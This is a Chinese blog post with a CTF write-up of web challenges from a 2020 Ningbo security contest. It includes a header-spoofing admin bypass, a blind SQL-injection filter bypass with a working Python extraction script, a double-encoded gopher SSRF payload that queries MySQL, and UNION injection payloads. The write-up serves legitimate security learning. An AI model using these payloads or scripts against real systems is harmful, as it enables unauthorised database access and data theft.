c1ay's blog

2020宁波市第三届网络安全大赛-web题writeup

字数统计: 1.2k阅读时长: 5 min
2020/05/25 Share

比赛时间只有一下午,最终很遗憾没有进入线下,菜是原罪,将过程记录一下吧

web签到

提示:这是只有本地管理员权限才能访问的页面,你想要越权访问?

直接X-Forwarded-For: 127.0.0.1结合Cookie: user=admin

mark

easy_sql

在这道题上花了一些时间,注入类型为数字型,注入点的位置应该是在where xxx=xxx的位置,经过一番测试发现最基本的注入语句都被过滤了,很大可能是是基于正则的过滤,经过fuzz后猜测一些过滤规则如下:

首先尝试union select进行回显,发现过滤规则如下:

出现数字+任意字符+SQL关键字(这里的正则没有绕过)

1select 被过滤
1union 被过滤

导致不能union select联合查询

尝试盲注,发现过滤规则如下:

任意字符(出现数字)like|=|>|<|<>|\|\||\||^|&等运算字符,如下图

mark

mark

mark

mark

导致不能使用substr、substring、mid、right、left等字符串截取字符去进行盲注判断

经过一番分析可以看到上面过滤的关键点就是尽量避免出现数字,可以使用like模糊匹配进行绕过,具体如下:

当id=0时,结果为:学号:0,成绩为: 94
mark

当id=1时,结果为:学号:1,成绩为: 52
mark

尝试将

1
id=(select flag from flag) like 'flag{%'

此时结果为真,返回

1
学号:(select flag from flag) like 'flag{%',成绩为: 52

这里返回了学号为1的学生成绩,说明可以通过这种方式获取到flag,但是在写脚本后发现只能获取到flag的前两个字符d7,之后就卡住了,继续进行分析


1
id=(select flag from flag) like 'flag{d7%'

这个时候还返回正常

1
学号:(select flag from flag) like 'flag{d7%',成绩为: 52

但是继续尝试获取字符时发现被拦截

mark

由此判断存在新的过滤规则如下:

'出现两个数字以上%'|"出现两个数字以上%"

mark

mark

所以导致在获取d7两个字符后不能继续获取数据

解决办法:在mysql模糊匹配当中,_可以匹配一个位置的字符,所以可以通过这个特性把payload当中已经获得到的数字替换为_,这样就可以保证payload当中不会出现两个数字以上,如图,可以继续获取到第三个字符为e:
mark

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
session = requests.Session()
l="01234567890abcdefghijklmnopqrstuvwxyz"
flag=""
flag1=""
while 1:
for i in l:
paramsPost = {"id":"(select flag from flag) like "+"'flag{"+"%s"%(flag1+i)+"%'"}
headers = {"Origin":"http://119.61.19.212:58888","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0","Connection":"close","Referer":"http://119.61.19.212:58888/","Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
response = session.post("http://119.61.19.212:58888/index.php", data=paramsPost, headers=headers).text
if "52" in response:
print paramsPost
flag+=i
print flag
flag1+=i
if i in "0123456789":
flag1=flag1.replace(i,"_")
break

mark

flag{d7ee68cb5251585d83e0b8cdb2aa06ef}

easy_ssrf

考察ssrf+mysql的利用,通过dict协议探测到3306端口,mysql用户名root、密码是空密码,直接gopher协议打就行,可以使用gopherus.py直接生成payload

mark

需要对payload进行二次url编码,最终payload如下

gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2518%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%252a%2520%2566%2572%256f%256d%2520%2573%2573%2572%2566%252e%2566%256c%2561%2567%2501%2500%2500%2500%2501

mark

easy_xxe

可以读取到/etc/passwd文件,但是找不到flag位置,比赛结束也没做出来,等writeup学习吧,哭

2020.7.9补充

看了其他师傅们easy_sql这道题的writeup,发现可以直接从index.php.bak当中获取源码从而得到过滤规则

1
(preg_match("/\d.+?\D.+/is",$id)

所以非常好绕,给出两个从其他师傅博客看到的writeup

1
2
3
ord('a')-ord('b') union select group_ concat(flag) from bankdb.flag
now() union select group_ concat(flag) from bankdb.flag

当时写这道题时自己绝对是脑抽了,,,,,,

CATALOG
  1. 1.
  2. 2. web签到
  3. 3. easy_sql
  4. 4. easy_ssrf
  5. 5. easy_xxe
  6. 6. 2020.7.9补充